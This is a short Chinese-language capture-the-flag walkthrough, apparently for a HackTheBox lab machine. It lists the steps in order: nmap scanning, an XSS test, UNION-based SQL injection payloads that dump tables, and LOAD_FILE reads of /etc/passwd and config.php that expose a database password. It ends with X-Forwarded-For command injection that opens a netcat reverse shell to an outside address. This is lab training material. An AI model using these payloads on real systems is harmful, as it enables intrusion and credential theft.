端口扫描
nmap -sC -sV -p- -T4 -Pn -n 10.10.11.128
访问80端口
输入
<script>alert(1)</script>
存在xss漏洞,再看看
测试是否有sql注入
拦截进行sqlmap测试,但是没有拿到有用信息
我们重新回到页面进行测试,
发现页面不同
1'+union+select+user()+--+-
SQL注入成功
枚举版本
1’+union+select+@@version±-±
列出数据库
1' union select schema_name from INFORMATION_SCHEMA.SCHEMATA LIMIT 0, 1;-- -
因为页面限制只能显示一个数据,可以使用LIMIT查看数据库
发现november数据库,然后尝试列出表
1’ union select TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema=‘november’ limit 0,1-- -
发现有flag、players表
然后查询列名
1’ UNION select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name=‘flag’ limit 0,1-- -
发现只有一个列是one
1’ UNION select one from november.flag limit 0,1-- -
得到一个flag,UHC{F1rst_5tep_2_Qualify}
输入flag
可以ssh登陆
1’ UNION select player from november.players limit 0,1-- -
可以查看player列表,
然后查询用户
1’ UNION select user()-- -
发现是uhc@localhost
查询用户的权限,是否具备超级管理员权限
1’ UNION select super_priv FROM mysql.user WHERE user=“root”-- -
结果是Y,表示超级用户权限
1’ UNION select LOAD_FILE(‘/etc/passwd’)-- -
成功加载本地文件,看见有htb和uhc用户,
尝试查看网页源代码
1’ UNION select LOAD_FILE(‘/var/www/html/index.php’)-- -
1’ UNION select LOAD_FILE(‘/var/www/html/config.php’)-- -
发现密码
$servername = “127.0.0.1”;
$username = “uhc”;
$password = “uhc-11qual-global-pw”;
$dbname = “november”;
尝试ssh登陆
尝试提权,上传linpeas.sh枚举
查看firewall.php文件
发现是通过设置HTTP_X_FORWARDED_FOR头,进行sudo /usr/sbin/iptables操作,因为我们可以控制$ip变量
payload:自己命令注入绕过
X-FORWARDED-FOR: ;id;
X-FORWARDED-FOR: ;busybox nc 10.10.14.20 443 -e /bin/sh;
拿到一个shell
成功提权